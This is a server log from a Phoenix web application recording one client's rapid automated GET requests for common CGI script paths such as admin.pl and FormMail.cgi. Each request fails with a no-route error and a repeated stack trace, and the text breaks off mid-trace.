    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:28.795000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45478] GET /cgi-bin/admin.pl
[Thu Sep  3 08:40:28.818000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45478] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:29.448000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45482] GET /cgi-bin/administrator
[Thu Sep  3 08:40:29.464000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45482] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:30.061000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45490] GET /cgi-bin/administrator.cgi
[Thu Sep  3 08:40:30.085000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45490] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:30.728000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45502] GET /cgi-bin/agorn.cgi
[Thu Sep  3 08:40:30.744000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45502] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/agorn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:31.351000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45514] GET /cgi-bin/bugreport.cgi
[Thu Sep  3 08:40:31.374000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45514] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/bugreport.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:31.961000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45530] GET /cgi-bin/cart.cgi
[Thu Sep  3 08:40:31.987000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45530] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/cart.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:32.670000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45542] GET /cgi-bin/clwarn.cgi
[Thu Sep  3 08:40:32.693000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45542] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/clwarn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:33.316000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49702] GET /cgi-bin/count.cgi
[Thu Sep  3 08:40:33.334000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49702] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:33.995000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49708] GET /cgi-bin/Count.cgi
[Thu Sep  3 08:40:34.019000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49708] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/Count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:34.667000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49714] GET /cgi-bin/faqmanager.cgi
[Thu Sep  3 08:40:34.690000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49714] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/faqmanager.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:35.563000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49728] GET /cgi-bin/FormHandler.cgi
[Thu Sep  3 08:40:35.596000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49728] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormHandler.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:36.316000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49734] GET /cgi-bin/FormMail.cgi
[Thu Sep  3 08:40:36.348000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49734] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormMail.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:36.952000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49746] GET /cgi-bin/guestbook.cgi
[Thu Sep  3 08:40:36.987000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49746] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/guestbook.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:38.846000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49756] GET /cgi-bin/help.cgi
[Thu Sep  3 08:40:38.877000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49756] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/help.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:39.737000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49768] GET /cgi-bin/hi
[Thu Sep  3 08:40:39.754000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49768] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/hi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:40.352000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49778] GET /cgi-bin/index.cgi
[Thu Sep  3 08:40:40.370000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49778] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
